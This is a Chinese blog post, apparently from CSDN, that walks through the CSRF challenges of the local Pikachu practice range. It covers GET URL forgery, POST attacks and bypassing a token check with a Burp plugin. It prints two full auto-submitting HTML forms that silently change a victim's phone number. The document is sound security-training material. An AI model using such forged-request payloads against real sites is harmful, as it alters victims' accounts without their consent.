pikachu靶场——SCRF

最新推荐文章于 2024-08-31 23:25:02 发布

huayidaocaihong

最新推荐文章于 2024-08-31 23:25:02 发布

阅读量333

点赞数 13

文章标签：安全

本文链接：https://blog.csdn.net/2302_78439049/article/details/140829797

版权

SCRF（get）

查看提示，了解到了一些用户和其密码，登录我们老大kobe的账户：

点击修改信息用burp抓包，

使用SCRF HTML生成器，生成一段url，将其中的phonenum改为666666

将生成的url发送给被攻击者

http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfget/csrf_get.php

可以看到被攻击者的phonenum被修改：

SCRF（post）

同样还是先修改信息，抓包看一下：

此处为post传参，url不再显示，无法在使用伪造url的方法攻击。可以将生成的SCRF HTML放入自己写的HTML文件中，放在服务器上，并给用户请求者个html的链接

需要构造的SCRF.html

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="999999" />
      <input type="hidden" name="add" value="nba&#32;lakes" />
      <input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="222222" />
      <input type="hidden" name="add" value="nba&#32;lakes" />
      <input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将写好的html文件放在pikachu目录下

访问该url

http://127.0.0.1:8080/pikachu-master/SCRF.html

点击submit request，完成攻击，可看到手机号被修改

SCRF（token）

与前面相同修改信息，抓包，看抓到的包中的数据，发现了token，删除token，发现不能修改。

这关需要用到burp中的插件SCRF Token Tracker，设置如下：

开启插件。将phonenum改为123456

可看到成功修改，攻击成功。

huayidaocaihong

关注

13
点赞
踩
4

收藏

觉得还不错? 一键收藏
0
评论
pikachu靶场——SCRF

此处为post传参，url不再显示，无法在使用伪造url的方法攻击。可以将生成的SCRF HTML放入自己写的HTML文件中，放在服务器上，并给用户请求者个html的链接。与前面相同修改信息，抓包，看抓到的包中的数据，发现了token，删除token，发现不能修改。使用SCRF HTML生成器，生成一段url，将其中的phonenum改为666666。点击submit request，完成攻击，可看到手机号被修改。点击修改信息用burp抓包，将生成的url发送给被攻击者。可看到成功修改，攻击成功。
复制链接

扫一扫